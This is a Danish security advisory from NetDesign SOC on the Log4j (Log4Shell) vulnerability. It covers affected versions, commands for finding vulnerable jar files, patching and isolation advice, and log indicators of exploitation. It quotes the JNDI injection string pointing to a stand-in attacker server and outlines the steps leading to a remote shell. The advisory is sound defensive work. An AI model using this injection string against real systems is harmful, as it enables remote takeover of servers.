Dette links ses kun hvis JavaScript er slået fra i din browser Business Consulting Forretningsudvikling på første klasse

Denne artikel er udarbejdet af NetDesign SOC. Råd og informationer benyttes på eget ansvar.

For English version - click here

Læs mere om NetDesign SOC her

 

*Mandag den 03.01.2022: Artiklen er opdateret med information om log4j v. 2.17.1

Hvad er log4j?

Log4j er et logningsmodul, der bliver brugt i en lang række java-baserede software-løsninger.

Den 9. december blev en kritisk sårbarhed i modulet offentliggjort. En udnyttelse af sårbarheden kan føre til, at en angriber kan overtage den maskine, hvorpå log4j-modulet er installeret, og derfra kan eksekvere kode, installere programmer, manipulere eller slette data, eller bevæge sig videre ud i offerets netværk.

Idet sårbarheden både er nem at udnytte og log4j-modulet er så udbredt, som det er, er det en yderst kritisk sårbarhed, som alle organisationer bør forholde sig til.

Alle 2.x versioner af log4j-modulet før version 2.16.0 er sårbare overfor uautoriseret, remote kode-eksekvering. Det er sidenhen kommet frem, at der også eksisterer en sårbarhed i version 2.16.0, der i nogle tilfælde muliggør et Denial-of-Service-angreb. Anbefalingen er derfor at opdatere log4j til version 2.17.0 (eller 2.17.1, se nedenfor).

I slutningen af december er der desuden offentliggjort endnu en sårbarhed i log4j-modulet, der er patchet i version 2.17.1. Denne sårbarhed er mindre kritisk, og vil i langt de fleste tilfælde ikke udgøre et problem. Der er tale om en remote kode-eksekverings-sårbarhed, der kun kan udnyttes hvis en angriber har skrive-adgang til log4j-konfigurationsfilen. Hvis man f.eks. loader konfigurationsfilen fra en remote server eller bruger den i et CI/CD-miljø, bør man overveje at opdatere log4j til version 2.17.1.

Version 1.x af log4j er ikke længere supporteret, og det anbefales derfor IKKE at bruge dette modul. Det er dog ikke omfattet af den beskrevne sårbarhed i samme omfang som version 2.x.

 

Hvordan kan log4j-sårbarheden udnyttes?

For at udnytte sårbarheden skal en angriber blot få log4j-modulet til at logge en streng i formatet ${jndi:ldap://angriber-server.com/xxx}, og derved kan han narre en enhed til at kommunikere over f.eks. LDAP-protokollen med en server, der er kontrolleret af angriberen. Herefter kan angriberen placere og eksekvere ondsindet kode på offerets server.

I korte træk kan en angriber følge nedenstående fremgangsmåde:

  1. En angriber sender et http(s) request til en sårbar enhed med en manipuleret header, der indeholder en henvisning til en angriber-kontrolleret server. Dette kan for eksempel være header-feltet User-Agent.
  2. Den sårbare enhed modtager requestet, som logges via log4j modulet. På grund af den omtalte sårbarhed, processerer modulet user agent-strengen som kode.
  3. Den sårbare enhed eksekverer koden og sender dermed et request til den server, der er kontrolleret af angriberen.
  4. Angriberens server svarer tilbage med et payload, der f.eks. kan indeholde en remote shell eller andet ondsindet kode, der eksekveres på den sårbare enhed.

 

Hvordan ved vi, om vi er sårbare?

  • Skab overblik over hvilke systemer og applikationer I har i jeres miljø. Undersøg om de gør brug af log4j-modulet. Orienter jer på leverandørers hjemmesider eller gør brug af for eksempel denne liste fra NCSC-NL, der fører status på en lang række software-produkter, og hvorvidt de er sårbare eller ej. Husk at det ikke er en udtømmende liste.
  • Det anbefales også at søge efter filer relateret til log4j-modulet på jeres enheder, for at få et overblik over hvilke enheder der potentielt er sårbare. Dette kan gøres på flere måder:

 

Søg efter .jar-filer der indgår i log4j-modulet

Windows-systemer:

Kør følgende PowerShell-kommando:

gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path

Linux-systemer:

Kør følgende kommandoer:

find / 2>/dev/null -regex ".*.jar" -type f | xargs -I{} grep JndiLookup.class "{}" 
ps aux | egrep ‘[l]og4j’ 
find / -name “log4j*” 
lsof | grep log4j

 

  • Scan efter kendte relaterede fil-hashes:
    https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes
  • Kør en sårbarhedsscanning i jeres miljø med en sårbarhedsscanner, der har moduler specifikt rettet imod at finde enheder med log4j-sårbarheder.
  • Vurder alle enheder, som viser tegn på at være sårbare.
  • Findes der allerede et tilgængeligt patch til det stykke software der er sårbart? Installér det!
  • Har I enheder, der fortsat er sårbare? Sørg så vidt muligt for at isolere disse enheder i jeres netværk, blokér for udgående trafik fra disse enheder om muligt og sørg for at sårbare applikationer kører med et minimum af rettigheder.

 

Hvordan ved vi om sårbarheden er blevet udnyttet i vores netværk?

Forhåbentlig logger I allerede aktivitet på jeres enheder og i jeres netværk. Hvis ikke, så slå logning til på jeres netværksudstyr, work stations, servere, applikationer og services.

Begynd at lede efter aktivitet i jeres logs, der indikerer udnyttelse eller forsøg på udnyttelse af sårbarheden. Kig efter:

  • Indgående og udgående kommunikation til adresser der er associeret med angreb (se "Threat feeds" nedenfor)
  • Nye trafikmønstre i jeres netværk. Eksempelvis servere der pludselig begynder at kommunikere med servere i lande, den ikke normalt kommunikerer med, eller servere der pludselig genererer meget mere trafik end sædvanligt.
  • Strings i http request-headers der indikerer forsøg på udnyttelse (f.eks. via dette threat feed fra SANS)

Der er indikationer på, at sårbarheden er forsøgt udnyttet helt tilbage til den 1. december. Jeres undersøgelser bør derfor omfatte perioden fra omkring 1. december og fremad.

Det er vigtigt at understrege, at situationen omkring denne sårbarhed udvikler sig hurtigt, og at angriberne, der prøver at udnytte den, hele tiden forsøger at være et skridt foran. Den bedste form for mitigering på nuværende tidspunkt er altså dels at opdatere sårbare produkter og dels blokere for udgående trafik fra enheder der ikke kan opdateres.

Se desuden første link herunder om Apache Log4j med  den seneste information om sårbarheder og opdateringer til modulet.

 

Øvrige ressourcer:

 

Threat feeds:

 

Scannere og andre tools (disse er ikke verificeret af NetDesign SOC):